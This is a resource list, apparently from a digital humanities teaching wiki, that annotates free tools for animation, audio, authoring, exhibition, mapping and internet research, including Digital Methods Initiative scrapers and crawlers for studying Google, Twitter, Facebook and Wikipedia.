- **Statistics Visualization Tutorials**
- Steve Doig, ["Torturing Excel into doing Statistics" [PDF]](http://ire.org/media/uploads/ire-2013/tipsheets/torturing_excel_into_doing_statistics.pdf) (2009)
- John Canning, [Statistics for the Humanities [PDF]](http://statisticsforhumanities.net/book/) (2013)
- **"R"** (see ["R" Tutorials](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244314/Tutorials%20for%20DH%20Tools%20and%20Methods#tutorials-r) for resources on how to use R for text mining and visualization)
- **Text Analysis Visualization Tutorials**
- Stéfan Sinclair, [Getting Graphical](http://nbviewer.ipython.org/github/sgsinclair/alta/blob/master/ipynb/GettingGraphical.ipynb) (interactive iPython notebook tutorial on foundations for visualizing data), part of The [Art of Literary Text Analysis](http://nbviewer.ipython.org/github/sgsinclair/alta/blob/master/ipynb/ArtOfLiteraryTextAnalysis.ipynb) set of tutorials)
# Digital Humanities Tools
Online or downloadable tools that are free, free to students, or have generous trial periods without tight usage constraints, watermarks, or other spoilers. Bias toward tools that can be run online or installed on a personal computer without needing an institutional server. (Also see [Other Tool Lists](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#othertoollists))
**Note about organization:** At present, these tools are organized in an improvised scheme of categories. For the most deliberate and comprehensive taxonomy of digital-humanities activities, objects, and techniques currently available, see [TaDiRAH](https://github.com/dhtaxonomy/TaDiRAH/tree/master/reading). (See also [about TaDiRAH](https://acrl.ala.org/dh/2014/05/21/tadirah-building-capacity-integrated-access/))
### Other Tool Lists:
- [DiRT (Digital Research Tools)](http://dirt.projectbamboo.org/) (annotated tool directory; includes both commercial and free tools; can filter for "free" in search interface)
- [TAPoR 3 Portal](http://tapor-test.artsrn.ualberta.ca/home) (annotated tool directory focused on "tools used in sophisticated text analysis and retrieval"; includes tool reviews)
- [Digital Textuality Resource Pages](http://digitaltextuality.pbworks.com/w/page/68178062/Digital%20Textuality%20Resource%20Pages) (listing of tools kept by Kimberly Knight and her students at U. Texas, Dallas, for text production, visualization, still image work, sound work, and video and animation; includes some student reviews of tools)
- [Digital Toolbox for Historians](http://www.pinterest.com/ahahistorians/a-digital-tool-box-for-historians/) (collected in Pinterest)
- [DMI Tools](https://wiki.digitalmethods.net/Dmi/ToolDatabase) (collection of tools with scenarios of use from the Digital Methods Initiative at U. Amsterdam. Some tools like IssueCrawler require uses to auto-request a login.) Tools for the following purposes:
- Media analysis: [Media Monitoring](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=MediaAnalysis&subcat=Media%20Monitoring) | [Mapping](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=MediaAnalysis&subcat=Mapping) | [Clouding](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=MediaAnalysis&subcat=Clouding) | [Comparative Media Analysis](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=MediaAnalysis&subcat=Comparative%20Media%20Analysis)
- Data treatment: [Data Collection](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=DataTreatment&subcat=Data%20Collection) | [Data Analysis](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=DataTreatment&subcat=Data%20Analysis) | [Information Visualization](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=DataTreatment&subcat=Information%20Visualization)
- Study of natively digital features: [The Link](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=NativelyDigital&subcat=The%20Link) | [The URL](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=NativelyDigital&subcat=The%20URL) | [The Tag](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=NativelyDigital&subcat=The%20Tag) | [The Domain](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=NativelyDigital&subcat=The%20Domain) | [The PageRank](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=NativelyDigital&subcat=The%20PageRank) | [The Robots.txt](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=NativelyDigital&subcat=The%20Robots.txt)
- Study of the following: [Google](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=DeviceCentric&subcat=Google) | [Google Images](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=DeviceCentric&subcat=Google%20Images) | [Google News](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=DeviceCentric&subcat=Google%20News) | [Google Blog Search](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=DeviceCentric&subcat=Google%20Blog%20Search) | [Yahoo](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=DeviceCentric&subcat=Yahoo) | [Wikipedia](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=DeviceCentric&subcat=Wikipedia) | [Alexa](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=DeviceCentric&subcat=Alexa) | [IssueCrawler](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=DeviceCentric&subcat=IssueCrawler) | [Twitter](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=DeviceCentric&subcat=Twitter) | [Facebook](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=DeviceCentric&subcat=Facebook) | [Amazon](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=DeviceCentric&subcat=Amazon) | [iTunes](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=DeviceCentric&subcat=iTunes) | [Wayback](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=DeviceCentric&subcat=Wayback)
- Study of various areas of the Internet: [Web Sphere](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=Spherical&subcat=Web%20Sphere) | [News Sphere](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=Spherical&subcat=News%20Sphere) | [Blogosphere](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=Spherical&subcat=Blogosphere) | [Tag Sphere](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=Spherical&subcat=Tag%20Sphere) | [Video Sphere](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=Spherical&subcat=Video%20Sphere) | [Image Sphere](https://wiki.digitalmethods.net/Dmi/ToolDatabase?cat=Spherical&subcat=Image%20Sphere)
- Daniel Powell, with Constance Crompton and Ray Siemens, ["Glossary of Terms, Tools, and Methods"](https://dlsanthology.mla.hcommons.org/glossary-of-terms/) (2013), in the MLA Literary Studies in the Digital Age: An Evolving Anthology.
- Carolina Digital Humanities Initiative [Tools Page](http://digitalhumanities.unc.edu/resources/tools/)
- [39 Data Visualization Tools for Big Data](https://blog.profitbricks.com/39-data-visualization-tools-for-big-data/) (list of tools with descriptions; collected by ProfitBricks company)
Students may also be interested in online hosting services for their own domains or sites. Some providers offer suites of content management systems like WordPress,, Omeka, etc.. Providers include:
- [Reclaim Hosting](http://reclaimhosting.com/) (\$12 first year)
## Animation & Storyboarding Tools
- [Bonsai](http://bonsaijs.org/) (tool for programmatic creation of simple animated graphics in a Web browser using "graphics library which includes an intuitive graphics API and an SVG renderer")
- [FrameByFrame](http://framebyframe.en.softonic.com/mac) (stop-motion animation tool for Mac) ( creates stop-motion animation videos using any webcam/video camera connected to your Mac, including iSight)
- [Pencil](http://www.pencil-animation.org/) (2D animation software suitable for beginners at animation)
- [Popcorn Maker](https://webmaker.org/tools) (creates interactive videos; "helps you easily remix web video, audio and images into cool mashups that you can embed on other websites. Drag and drop content from the web, then add your own comments and links . . . ; videos are dynamic, full of links and unique with every view") | Tutorial by Miriam Posner
- [Scratch](http://scratch.mit.edu/) (visual programming platform developed by the MIT Media Lab to teach children about programming by allowing them to use a visual interface to create interactive programs, games, etc.; useful for allowing advanced humanities scholars without programming skills to program dynamic, interactive visual scenes and learn about programming logic) | [Scratch 2.0 Offline Editor](http://scratch.mit.edu/scratch2download/)
- [Storyteller](http://studios.amazon.com/storyteller) ("application from Amazon Studios that lets you turn a movie script into a storyboard. You choose the backgrounds, characters, and props to visually tell a story")
## Audio Tools (see [Audio Editing Tutorials](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244314/Tutorials%20for%20DH%20Tools%20and%20Methods#tutorials-audio-editing))
- [**Audiotool**](http://www.audiotool.com/) (free, web-based application for electronic music production; meant to serve as a fully functioning virtual studio. Users drop and drag synthesizers, drum machines, sequencers, filters, samples, and note sequences into the workspace from a toolbar)
- [Audiotool tutorials](http://www.audiotool.com/tutorials)
- [Augmented Notes](http://augnotes.appspot.com/) ("integrates scores and audio files to produce interactive multimedia websites in which measures of the score are highlighted in time with music")
- [MusicAlgorithms](http://musicalgorithms.ewu.edu/) (tools and resources for the creation and analysis of algorithmically-generated music)
- [Paperphone](http://www.beingwendyhsu.info/paperphone/2014/03/18/releasing-paperphone-1-0/) ("interactive audio app that processes vocal performance in realtime, designed for presentations & sound essays")
- [Praat](http://www.fon.hum.uva.nl/praat/) (free software package for phonetic analysis; designed to analyse, synthesize, manipulate, and visualize speech)
- [Sonic Visualiser](http://www.sonicvisualiser.org/) (program to facilitate study of musical recordings; "of particular interest to musicologists, archivists, signal-processing researchers and anyone else looking for a friendly way to take a look at what lies inside the audio file")
## Authoring/Annotation/Editing/Publishing Platforms & Tools (including collaborative platforms) (see also [Content Management Systems](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-cms) and [Exhibition/Collection/Edition Platforms & Tools](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-exhibition))
- [Annotation Studio](http://www.annotationstudio.org/) ("suite of tools for collaborative web-based annotation.... Currently supporting the multimedia annotation of texts... will ultimately allow students to annotate video, image, and audio sources")
- [Brat Rapid Annotation Tool](http://brat.nlplab.org/) ("online environment for collaborative text annotation"; focused on structured annotation of text, e.g., tagging named entities such as persons, organizations, etc., and their relationships)
**[CommentPress]**(http://www.futureofthebook.org/commentpress/) ("open source theme and plugin for the WordPress blogging engine that allows readers to comment paragraph-by-paragraph, line-by-line or block-by-block in the margins of a text. Annotate, gloss, workshop, debate: ... do all of these things on a finer-grained level, turning a document into a conversation")
- [Fold](http://fold.media.mit.edu/) ("a context creation platform for journalists and storytellers, allowing them to structure and craft complex stories"; created at MIT Media Lab)
- [INKE Tools and Prototypes](http://inke.ca/projects/tools-and-prototypes/) (tools and platforms developed by the INKE project)
- **Interactive Fiction Writing tools and platforms**
- [Fungus](http://fungus.snozbot.com/) (open-source "[Unity 3D](https://unity3d.com/) library for creating illustrated interactive fiction games")
- [Inklewriter](http://www.inklestudios.com/inklewriter) (free online tool "designed to allow anyone to write and publish interactive stories. It’s perfect for writers who want to try out interactivity, but also for teachers and students looking to mix computer skills and creative writing"; "keeps your branching story organised, so you can concentrate on what’s important – the writing." Also allows export of stories to Kindle with hyperlinks for the interactive features of a story.)
- [Undum](https://github.com/idmillington/undum) ("a game framework for building a sophisticated form of hypertext interactive fiction"; "consists of a HTML file [with CSS stylesheets] and three Javascript files... To create your own game, you edit the HTML file a little..., edit one of the Javascript files [and upload to a web server]") (sample story created in Undam: "[Mrs. Wobbles and the Tangerine House](http://markcmarino.com/tales/storybook3.html)," by the Marino Family)
- [NewRadial](http://sourceforge.net/projects/newradial-inke/) (visualization interface from the INKE project designed to facilitate studying, commenting on, and social editing of texts)
- [Explanation and related resources/examples](http://inke.ca/projects/tools-and-prototypes/)
- [Odyssey](http://cartodb.github.io/odyssey.js/) (online tool that provides "a simple way for journalists, designers, and creators to weave interactive stories" based on a mapping paradigm; allows for mixing "written narrative, multimedia, and map based interaction")
- [Oppia](https://www.oppia.org/) (Google's tool for making "embeddable interactive educational 'explorations' that let people learn by doing"; "Oppia aims to simulate the one-on-one interaction that a student has with a teacher by capturing and generalizing 'interaction dialogues'"; explorations can contain maps, images, text)
- [Prism](http://prism.scholarslab.org/) ("a tool for "crowdsourcing interpretation." Users are invited to provide an interpretation of a text by highlighting words according to different categories, or "facets." Each individual interpretation then contributes to the generation of a visualization which demonstrates the combined interpretation of all the users. We envision Prism as a tool for both pedagogical use and scholarly exploration, revealing patterns that exist in the subjective experience of reading a text.")
- [A classroom poetry analysis assignment using Prism](http://www.sadiron.com/dh-toe-dip-prism/) (by Chuck Ryback) (2014)
- [Pullquotes](http://pullquote.com/) (tool for tweeting full quotations or images on Twitter, for tweeting a stream of quotations; and for collection Twitter quotations
- [**Scalar**](http://scalar.usc.edu/scalar/) (multi-modal authoring platform: "free, open source authoring and publishing platform that’s designed to make it easy for authors to write long-form, born-digital scholarship online. Scalar enables users to assemble media from multiple sources and juxtapose them with their own writing in a variety of ways, with minimal technical expertise required")
- [Scroll Kit](https://www.scrollkit.com/) (drag-and-drop online platform for creating scrollable multimedia narratives that also scale for mobile device screens; "Make stories people will want to touch. Scroll Kit is a powerful visual content editor . . . typography, images, motion")
- Miriam Posner ["Basics of Creating a Scroll Kit Narrative"](http://miriamposner.com/blog/basics-of-creating-a-scroll-kit-narrative/) (2014) (tutorial for a UCLA course)
- [StoryMapJS](http://storymap.knightlab.com/) ("free tool to help you tell stories on the web that highlight the locations of a series of events; ... you can use StoryMapJS to tell a story with photographs, works of art, historic maps, and other image files. Because it works best with very large images, we call these 'gigapixel' StoryMaps")
- [Twine](http://twinery.org/) (" You don't need to write any code to create a simple story with Twine, but you can extend your stories with variables, conditional logic, images, CSS, and JavaScript when you're ready. Twine publishes directly to HTML, so you can post your work nearly anywhere.")
## Code Versioning Systems ([see Code Versioning Tutorials](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244314/Tutorials%20for%20DH%20Tools%20and%20Methods#tutorials-code-versioning))
- [**GitHub**](https://github.com/) ("collaboration, code review, and code management for open source and private projects"; also used by scholars for non-code projects, e.g., creating documents, syllabi, or any project that benefits from tracking, forking, or roll-back of modular parts contributed by one or more participants)
## Command Line Tools (see [Command Line Tutorials](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244314/Tutorials%20for%20DH%20Tools%20and%20Methods#tutorials-command-line))
- [The Sourcecaster](http://thomasgpadilla.github.io/sourcecaster/) (set of instructions for using the command line to perform common text preparation tasks--e.g., conversion of text or media formats, wrangling and cleaning text, batch filename editing, etc.)
## Content Management Systems (see [Content Management Systems Tutorials](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244314/Tutorials%20for%20DH%20Tools%20and%20Methods#tutorials-content-management-systems)) (see also [Authoring/Annotation/Editing Tools](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-authoring))
- [**PBWorks**](http://pbworks.com/) (content management system hosted online with strong educational user base; particular robust as a wiki platform for project or course sites; free education-user licenses)
- [**WordPress**](http://wordpress.com/) (content management system based originally on blog paradigm; [hosted online](http://wordpress.com/) or [downloadable](http://wordpress.org/) for installation on local server)
## Crowdsourcing Tools
- [AllOurIdeas](http://www.allourideas.org/llOurIdeas) ("social data collection" wiki platform that solicits information online by survey "while still allowing for new information to 'bubble up' from respondents as happens in interviews, participant observation, and focus groups")
## Exhibition/Collection/Edition Platforms & Tools (see also tools for [Infographics](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-visualization-infographics) and [Timelines](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-visualization-timelines); and selected tools in [Mapping](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-mapping))
- [CollectiveAccess](http://collectiveaccess.org/) ("cataloguing tool and web-based application for museums, archives and digital collections")
- [DH Press](http://digitalinnovation.unc.edu/projects/dhpress/) (WordPress-based "flexible, repurposable, extensible digital humanities toolkit designed for non-technical users. It enables administrative users to mashup and visualize a variety of digitized humanities-related material, including historical maps, images, manuscripts, and multimedia content. DH Press can be used to create a range of digital projects, from virtual walking tours and interactive exhibits, to classroom teaching tools and community repositories")
- [Exhibit](http://www.simile-widgets.org/exhibit/) (downloadable software for creating "web pages with advanced text search and filtering functionalities, with interactive maps, timelines, and other visualizations"; part of the Simile Widgets suite)
- [Google Open Gallery](https://www.google.com/opengallery) (Users must request an invite; "Powerful free tools for artists, museums, archives and galleries ... Easily upload images, videos and audio<br>
to create online exhibitions and tell your stories ... Enhance your existing website, or create a brand new one for free ... Very powerful zoom for your beautiful images... Help visitors discover your content using search and filtering options")
- [oldweb.today](http://oldweb.today/) (online emulator platform from Rhizome that allows users to see what past or present web sites look like in historical browsers going back to the NCSA Mosaic browser)
- [**Omeka**](http://omeka.org/) ("create complex narratives and share rich collections, adhering to Dublin Core standards with Omeka on your server, designed for scholars, museums, libraries, archives, and enthusiasts"; hosted online or downloadable for installation on server) | [Getting Started](http://omeka.org/codex/Documentation)
- [Open Exhibits](http://openexhibits.org/) ("free multitouch & multiuser software initiative for museums, education, nonprofits, and students")
- [**Neatline**](http://neatline.org/) ("allows scholars, students, and curators to tell stories with maps and timelines. As a suite of add-on tools for Omeka, it opens new possibilities for hand-crafted, interactive spatial and temporal interpretation"; downloadable for installation on server)
- Bethany Nowviskie, et al. ["Geo-Temporal Interpretation of Archival Collections with Neatline" [PDF]](http://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=2&ved=0CDYQFjAB&url=http%3A%2F%2Fllc.oxfordjournals.org%2Fcontent%2Fearly%2F2013%2F07%2F10%2Fllc.fqt043.full.pdf&ei=SHYWUvzOJeTW2QWxpYGwDg&usg=AFQjCNFQf2ld82Jw0-nDxGk3Cl47Bb1QJQ&sig2=JTDOw8X_1gD4R3CbG4t_4w&bvm=bv.51156542,d.b2I&cad=rja) (2013)
- [**Prezi**](http://prezi.com/) (alternative to PowerPoint; uses an infinite canvas metaphor rather than a slide metaphor; free online production and viewing version; offline production version by subscription)
- [Silk](https://www.silk.co/) (online data visualization and exhibition platform; takes datasets input as spreadsheets and allows users to create collections, maps, graphs, etc.)
- For a helpful quick-start guide (with sample dataset), see Miriam Posner, ["Getting Started with Silk"](http://miriamposner.com/classes/dh150w16/tutorials-resources/getting-started-with-silk/) (2016)
- [**Simile Widgets**](http://www.simile-widgets.org/) (embeddable code for visualizing time-based data, including Timeline, Timeplot, Runway, and Exhibition)
- [TextGrid](http://textgrid.de/en) ("a virtual research environment (VRE) for humanities scholars in which various tools and services are available for the creation, analysis, editing, and publication of texts and images"; provides "a variety of tested tools, services, and resources, allowing for the complete workflow of, for example, generating a critical textual edition"; "also supports the storage and re-use of research data through the integration of the TextGrid Repository")
- [ViewShare](http://viewshare.org/) ("free platform for generating and customizing view--interactive maps, timelines, facets, tag clouds--that allow users to experience your digital collections"; upload spreadsheets or other collection data formats with information about a collection of materials; then configure how and what to show. Visualizations of collections are embeddable on Web pages. Users must request an account)
## Internet Research Tools (tools for studying the Internet or parts of the Internet) (this section is heavily indebted to the [Digital Methods Initiative](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#dmi) at the University of Amsterdam and its collection of tools)
- [Censorship Explorer](https://wiki.digitalmethods.net/Dmi/ToolCensorshipExplorer) ("Check whether a URL is censored in a particular country by using proxies located around the world"; a Digital Methods Initiative tool)
- [Compare Lists](https://wiki.digitalmethods.net/Dmi/ToolCompareLists) ("Compare two lists of URLs for their commonalities and differences"; a Digital Methods Initiative tool)
- **Facebook (tools for studying Facebook)**
- [Like Scraper](https://wiki.digitalmethods.net/Dmi/ToolLikeScraper) ("For each URL entered, this script queries the Facebook api and retrieves the number of likes, shares, comments and clicks for given URLs. The output is a table with the URLs queried and the numbers retrieved"; a Digital Methods Initiative tool)
- [Netvizz](https://wiki.digitalmethods.net/Dmi/ToolNetvizz) ("Extracts various datasets from Facebook"; a Digital Methods Initiative tool)
- [NetvizzToSentiStrength](https://wiki.digitalmethods.net/Dmi/ToolNetvizzToSentiStrength) ("uses Sentistrength to analyze the sentiment of short texts. Three types of data can be uploaded: Netvizz, DMI-TCAT, or a regular CSV file"; a Digital Methods Initiative tool)
- **Google (tools for studying Google)**
- [Google AutoComplete](https://wiki.digitalmethods.net/Dmi/ToolGoogleAutocomplete) (retrieves Google autocomplete suggestions according to language and country; a Digital Methods Initiative tool)
- [Google Blog Search Scraper](https://wiki.digitalmethods.net/Dmi/ToolGoogleBlogsearch) (allows for batch queries of Google Blog Search; "query the resonance of a particular term, or a series of terms, in a set of blogs"; a Digital Methods Initiative tool)
- [Google Image Scraper](https://wiki.digitalmethods.net/Dmi/ToolGoogleImagesScraper) ("query images.google.com with one or more keywords, and/or use images.google.com to query specific sites for images"; a Digital Methods Initiative tool)
- [Google News Scraper](https://wiki.digitalmethods.net/Dmi/ToolGoogleNewsScraper) ("The scraper batch queries news.google.com, outputting a table of returns including URL, title, source, city/country, date and teaser text"; a Digital Methods Initiative tool)
- [GoogleScraper](https://wiki.digitalmethods.net/Dmi/ToolGoogleScraper) ("The Googlescraper ... queries Google and makes the results available for further analysis ... Google will be asked if each keyword occurs in each URL. Results are displayed as a tag cloud and an html table. They also are written to a text file which you can access at the bottom or through previous results ... The most common use of the tool is researching the presence as well as the ranking of particular sources within Google engine results"; a Digital Methods Initiative tool)
- [Harvester](https://wiki.digitalmethods.net/Dmi/ToolHarvester) ("Extract URLs from text, source code or search engine results. Produces a clean list of URLs"; a Digital Methods Initiative tool)
- [Image Scraper](https://wiki.digitalmethods.net/Dmi/ToolImageScraper) ("scrape images from a single page"; a Digital Methods Initiative tool)
- [Internet Archive Wayback Machine Link Ripper](https://wiki.digitalmethods.net/Dmi/ToolInternetArchiveWaybackMachineLinkRipper) ("Enter a host or URL to retrieve the links to the URL's archived versions at wayback.archive.org. A text file is produced which lists the archive URLs"; a Digital Methods Initiative tool)
- [**IssueCrawler**](https://wiki.digitalmethods.net/Dmi/ToolIssueCrawler) ("Enter URLs and the Issue Crawler performs co-link analysis in one, two or three iterations, and outputs a cluster graph....; also has modules for snowball crawling [up to 3 degrees of separation] as well as inter-actor crawling [finding links between seeds only]" ; a Digital Methods Initiative tool) ([Instructions](http://www.govcom.org/Issuecrawler_instructions.htm)) ([Auto-request a login](http://www.govcom.org/Issuecrawler_instructions.htm))
- [Compare Networks Over Time](https://wiki.digitalmethods.net/Dmi/ToolCompareNetworksOverTime) ("Compares IssueCrawler networks over time, and displays ranked actor lists")
- [Extract URLs](https://wiki.digitalmethods.net/Dmi/ToolExtractUrls) ("Extracts URLs from an Issuecrawler result file [.xml]; useful for retrieving starting points as well as a clean list of the actors in the network")
- [Issue Geographer](https://wiki.digitalmethods.net/Dmi/ToolIssueGeographer) ("Geo-locates the organizations on an IssueCrawler map, using whois information, and visualizes the organizations' registered locations on a geographical map")
- [Ranked Deep Pages from Core Issue Crawler Network](https://wiki.digitalmethods.net/Dmi/ToolRankedDeepPagesCoreNetwork) ("Enter an IssueCrawler XML file and this script will get out all pages from the core network and rank those by pages by inlink count")
- [Issue Discovery Tool]() ("Enter URLs, and discover the most relevant words and phrases contained in them. One also may enter text, or an Issuecrawler result file (.xml)"; a Digital Methods Initiative tool)
- [iTunes Store Research Tool]() ("This tool queries http://itunes.apple.com/linkmaker/, retrieves all available results and outputs a csv file, as well as a gexf file [for visualization in Gephi] containing the relations between items in the iTunes stores and their categories"; a Digital Methods Initiative tool)
- [Language Detection](https://wiki.digitalmethods.net/Dmi/ToolIssueDiscovery) ("Detects language for given URLs. The first 500 characters on the Web page(s) are extracted, and the language of each page is detected"; a Digital Methods Initiative tool)
- [LinkRipper](https://wiki.digitalmethods.net/Dmi/ToolItunesStore) ("Capture all internal links and/or outlinks from a page"; a Digital Methods Initiative tool)
- [Lippmannian Device](https://wiki.digitalmethods.net/Dmi/ToolLippmannianDevice) ("device ... named after Walter Lippmann [that] provides a coarse means of showing actor partisanship"; a Digital Methods Initiative tool)
- [Lippmannian Device to Gephi](https://wiki.digitalmethods.net/Dmi/ToolLippmannianDeviceToGephi) ("visualize the output of the Lippmannian device as a network with Gephi"; a Digital Methods Initiative tool)
- [Open Calais](https://wiki.digitalmethods.net/Dmi/ToolOpenCalais) ("Discovers the most relevant words and phrases among a set of websites, within a text, or within an issue network"; a Digital Methods Initiative tool)
- [Rip Sentences](https://wiki.digitalmethods.net/Dmi/ToolSentencesRipper) ("Enter a URL, and this script will split the text of the html page into sentences"; a Digital Methods Initiative tool)
- [ProfileWords](http://www.profilewords.com/profilewords.html) (creates word clouds visualizing frequent words in the profile bios of Twitter users and the last 25 tweets of their followers and those they follow)
- [SentiStrength](http://sentistrength.wlv.ac.uk/) ("Automatic sentiment analysis of up to 16,000 social web texts per second with up to human level accuracy and 14 languages available - others easily added. SentiStrength estimates the strength of positive and negative sentiment in short texts, even for informal language")
- [Source Code Search](https://wiki.digitalmethods.net/Dmi/ToolSourceCodeSearch) (loads a URL and searches for keywords + optional number of trailing characters in the page's source code [e.g., "cool" or with 5 trailing spaces, "cool cats"; a Digital Methods Initiative tool)
- [StoryTracker](http://storytracker.pastpages.org/en/latest/index.html) ("tools for tracking stories on news homepages"; includes ability to identify and track changing locations of stories on news site pages)
- [Table to Net](https://wiki.digitalmethods.net/Dmi/ToolTableToNet) ("Extract a network from a table. Set a column for nodes and a column for edges. It deals with multiple items per cell; by Médialab Sciences-Po")
- [Text Ripper](http://dhresourcesforprojectbuilding.pbworks.com/toy-for-generating-%E2%80%9Cword-clouds%E2%80%9D-from-text-that-you-provide) ("Rip all non-html (i.e. text) from a specified page"; a Digital Methods Initiative tool)
- [Timestamp Ripper](https://wiki.digitalmethods.net/Dmi/ToolTimestamp) ("Rips and displays a web page's last modification date (using the page's HTML header). Beware of dynamically generated pages, where the date stamps will be the time of retrieval"; a Digital Methods Initiative tool)
- [TLD (Top Level Domain) Counts](https://wiki.digitalmethods.net/Dmi/ToolTLDCount) ("Enter URL's, and count the top level domains"; a Digital Methods Initiative tool)
- [Tracker Tracker](https://wiki.digitalmethods.net/Dmi/ToolTrackerTracker) ("The tool Tracker Tracker can be used to make (some parts of) the 'cloud' visible. The tool allows for the characterization of a set of websites or pages by detecting a set of 900+ predefined 'fingerprints' of cloud devices, including those that fall under the category of analytics, ad programs, widgets or social plugins, trackers, and privacy. Tracker Tracker may thus be used to gain an overall picture of detectable trackers or for a number of specified analytical purposes, such as social plugin detection, mapping 'power concentrations of the cloud' - mapping the political economy of the cloud, by looking at 'cloud technology'"; a Digital Methods Initiative tool)
- [Triangulation](https://wiki.digitalmethods.net/Dmi/ToolTriangulation) ("Enter two or more lists of URLs or other items to discover commonalities among them. Possible visualizations include a Venn Diagram"; a Digital Methods Initiative tool)
- **Twitter (tools for studying Twitter)**
- [Twitter Advanced Search](https://twitter.com/search-advanced) (Twitter's search interface for their complete index of historical tweets)
- [Hashalyzer](http://www.hashalyzer.com/) (creates reports of Twitter hashtag participants and tweets)
- [MentionMap](http://mentionmapp.com/) (online tool that shows an interactive social network graph of a Twitter user's mentions of other users; clicking on another user shows the mention map of that user
- [Mohio Social](https://www.moh.io//mohiomap/twitter-welcome.php) (shows in node-and-link style a user and the user's sphere of tweets, mentioned links, etc., each of which is clickable to go to the original tweet or linked document)
- [Twarc](https://pypi.python.org/pypi/twarc) (Python "command line utility to archive Twitter search results as line-oriented-json")
- [Twiangulate](http://twiangulate.com/search/) (search for people followed in common by two people--i.e., the intersection of the sets of two people's follow lists)
- [Twitter Capture and Analysis Toolset (DMI-TCAT)](https://wiki.digitalmethods.net/Dmi/ToolDmiTcat) (downloadable source code for tool that "captures tweets and allows for multiple analyses [hashtags, mentions, users, search, ...]." Due to Twitter's terms of service, the online version of this tool from the Digital Methods Initiative cannot be used by users unaffilliated with their program; but users may install the source code for themselves)
- [Twitonomy](http://www.twitonomy.com/) (online analytics platform for detailed study of users' Twitter activity, followers, mentions, retweets, hashtags, links, etc.; access to tracking statistics requires paid subscription)
- Ernesto Priego, ["Some Thoughts on Why You Would Like to Archive and Share [Small] Twitter Data Sets"](http://epriego.wordpress.com/2014/05/28/some-thoughts-why-you-would-like-to-archive-and-share-twitter-small-data/) (2014)
- **Wikipedia (tools for studying Wikipedia)**
- [Wikipedia Cross-Lingual Image Analysis](https://wiki.digitalmethods.net/Dmi/ToolWikipediaCrosslingualImageAnalysis) ("Insert a full Wikipedia URL ... and the tool will retrieve all language versions for the article. The tool will then scrape all the images of each language version and show them side by side in a table for comparison. The images retain the order in which they appear in the HTML"; a Digital Methods Initiative tool)
- [Wikipedia Edits Scraper and IP Localizer](https://wiki.digitalmethods.net/Dmi/ToolWikipediaEditsScraperAndIPLocalizer) ("The tool scrapes the complete edit history for a specific Wikipedia page. When the tool finds an IP address instead of a user name it will use [Maxmind's GeoCity Lite database](http://www.maxmind.com/app/geolitecity) to resolve the IP address to a geo-location"; a Digital Methods Initiative tool)
- [Wikipedia History Flow Companion](https://wiki.digitalmethods.net/Dmi/ToolWikipediaHistoryFlowCompanion) ("The script chops Wikipedia edit histories in chronological chunks of 100 edits. It will display links which can be used to export those chunks from Wikipedia into IBM's History Flow Visualization"; a Digital Methods Initiative tool)
- [Wikipedia TOC Scraper](https://wiki.digitalmethods.net/Dmi/ToolWikiToc) ("Scrape Table of Contents for revisions of a Wikipedia page and explore the results by moving a slider to browse across chronologically ordered TOCs"; a Digital Methods Initiative tool)
## Mapping Tools & Platforms (see [Mapping Tutorials](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244314/Tutorials%20for%20DH%20Tools%20and%20Methods#tutorials-mapping))
- [BatchGeo](http://www.batchgeo.com/) ("create Google maps from your data [in spreadsheet format] ... accepts addresses, intersections, cities, states, and postal codes")
- [CartoDB](http://cartodb.com/) (online tools for visualizing and analyzing geospatial data; free plan includes up to 5 tables and 5Mb of data)
- [Torque for CartoDB]() ("efficient, fast, and styleable rendering method" to animate data on an interactive map; "see how your data has grown, moved, or changed over time and space")
- ["Create Your First Torque Visualization in Under a Minute"]() (video tutorial for Torque)
- [ChartsBin]() (creates interactive maps)
